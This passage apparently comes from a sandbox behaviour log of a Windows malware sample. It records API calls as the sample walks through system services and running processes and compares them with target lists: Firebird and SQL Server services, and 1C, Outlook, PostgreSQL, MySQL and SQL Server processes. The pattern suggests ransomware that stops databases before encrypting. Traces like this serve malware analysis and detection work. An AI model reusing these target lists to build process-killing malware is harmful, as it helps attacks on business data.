lpString2="CscService") returned 1 [0032.431] lstrlenW (lpString="DcomLaunch") returned 10 [0032.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0032.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0032.431] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0032.431] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0032.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0032.431] lstrlenW (lpString="Dhcp") returned 4 [0032.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0032.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0032.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0032.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0032.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0032.431] lstrlenW (lpString="Dnscache") returned 8 [0032.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0032.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0032.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0032.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0032.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0032.432] lstrlenW (lpString="DPS") returned 3 [0032.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0032.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0032.432] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0032.432] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0032.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0032.432] lstrlenW (lpString="eventlog") returned 8 [0032.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0032.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0032.432] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0032.432] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0032.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0032.432] lstrlenW (lpString="EventSystem") returned 11 [0032.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0032.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0032.432] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0032.432] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0032.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0032.432] lstrlenW (lpString="gpsvc") returned 5 [0032.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0032.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0032.432] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0032.432] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0032.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0032.432] lstrlenW (lpString="iphlpsvc") returned 8 [0032.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0032.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0032.433] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0032.433] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0032.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0032.433] lstrlenW (lpString="LanmanServer") returned 12 [0032.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0032.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0032.433] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0032.433] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0032.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0032.433] lstrlenW (lpString="LanmanWorkstation") returned 17 [0032.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0032.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0032.433] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0032.433] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0032.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0032.433] lstrlenW (lpString="lmhosts") returned 7 [0032.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0032.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0032.433] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0032.433] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0032.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0032.433] lstrlenW (lpString="MMCSS") returned 5 [0032.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0032.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0032.433] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0032.433] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0032.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0032.433] lstrlenW (lpString="MpsSvc") returned 6 [0032.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0032.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0032.433] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0032.433] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0032.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0032.433] lstrlenW (lpString="Netman") returned 6 [0032.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0032.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0032.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0032.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0032.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0032.434] lstrlenW (lpString="netprofm") returned 8 [0032.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0032.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0032.434] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0032.434] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0032.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0032.434] lstrlenW (lpString="NlaSvc") returned 6 [0032.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0032.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0032.434] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0032.434] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0032.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0032.434] lstrlenW (lpString="nsi") returned 3 [0032.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0032.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0032.434] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0032.434] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0032.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0032.434] lstrlenW (lpString="PcaSvc") returned 6 [0032.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0032.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0032.434] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0032.434] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0032.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0032.434] lstrlenW (lpString="PlugPlay") returned 8 [0032.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0032.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0032.434] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0032.434] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0032.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0032.435] lstrlenW (lpString="Power") returned 5 [0032.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0032.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0032.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0032.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0032.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0032.435] lstrlenW (lpString="ProfSvc") returned 7 [0032.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0032.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0032.435] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0032.435] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0032.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0032.435] lstrlenW (lpString="RpcEptMapper") returned 12 [0032.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0032.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0032.435] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0032.435] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0032.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0032.435] lstrlenW (lpString="RpcSs") returned 5 [0032.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0032.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0032.435] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0032.435] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0032.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0032.435] lstrlenW (lpString="SamSs") returned 5 [0032.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0032.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0032.435] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0032.435] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0032.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0032.435] lstrlenW (lpString="Schedule") returned 8 [0032.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0032.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0032.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0032.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0032.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0032.436] lstrlenW (lpString="SENS") returned 4 [0032.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0032.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0032.436] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0032.436] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0032.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0032.436] lstrlenW (lpString="ShellHWDetection") returned 16 [0032.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0032.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0032.436] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0032.436] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0032.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0032.436] lstrlenW (lpString="Spooler") returned 7 [0032.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0032.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0032.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0032.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0032.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0032.436] lstrlenW (lpString="SysMain") returned 7 [0032.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0032.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0032.436] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0032.436] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0032.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0032.436] lstrlenW (lpString="Themes") returned 6 [0032.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0032.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0032.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0032.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0032.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0032.436] lstrlenW (lpString="TrkWks") returned 6 [0032.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0032.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0032.437] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0032.437] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0032.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0032.437] lstrlenW (lpString="UxSms") returned 5 [0032.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0032.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0032.437] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0032.437] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0032.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0032.437] lstrlenW (lpString="WdiServiceHost") returned 14 [0032.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0032.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0032.437] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0032.437] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0032.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0032.437] lstrlenW (lpString="WdiSystemHost") returned 13 [0032.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0032.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0032.437] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0032.437] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0032.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0032.437] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0032.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0032.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0032.437] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0032.437] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0032.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0032.437] lstrlenW (lpString="Winmgmt") returned 7 [0032.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0032.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0032.437] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0032.437] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0032.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0032.437] lstrlenW (lpString="WPDBusEnum") returned 10 [0032.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0032.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0032.438] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0032.438] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0032.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0032.438] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5491e0 | out: hHeap=0x510000) returned 1 [0032.438] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0032.443] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0032.444] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0032.444] lstrlenW (lpString="System") returned 6 [0032.444] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0032.444] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0032.444] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0032.444] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0032.444] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0032.444] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0032.444] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0032.444] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0032.445] lstrlenW (lpString="smss.exe") returned 8 [0032.445] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0032.445] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0032.445] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0032.445] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0032.445] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0032.445] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0032.445] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0032.445] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0032.445] lstrlenW (lpString="csrss.exe") returned 9 [0032.445] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0032.445] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0032.445] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0032.446] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0032.446] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0032.446] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0032.446] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0032.446] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0032.446] lstrlenW (lpString="wininit.exe") returned 11 [0032.446] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0032.446] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0032.446] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0032.446] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0032.447] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0032.447] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0032.447] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0032.447] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0032.447] lstrlenW (lpString="csrss.exe") returned 9 [0032.447] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0032.447] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0032.447] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0032.447] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0032.447] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0032.447] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0032.447] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0032.448] lstrlenW (lpString="winlogon.exe") returned 12 [0032.448] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0032.448] lstrlenW (lpString="services.exe") returned 12 [0032.448] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0032.449] lstrlenW (lpString="lsass.exe") returned 9 [0032.449] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0032.449] lstrlenW (lpString="lsm.exe") returned 7 [0032.449] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.450] lstrlenW (lpString="svchost.exe") returned 11 [0032.450] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.450] lstrlenW (lpString="svchost.exe") returned 11 [0032.450] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.450] lstrlenW (lpString="svchost.exe") returned 11 [0032.451] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.451] lstrlenW (lpString="svchost.exe") returned 11 [0032.451] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.451] lstrlenW (lpString="svchost.exe") returned 11 [0032.451] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0032.452] lstrlenW (lpString="audiodg.exe") returned 11 [0032.452] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.452] lstrlenW (lpString="svchost.exe") returned 11 [0032.452] 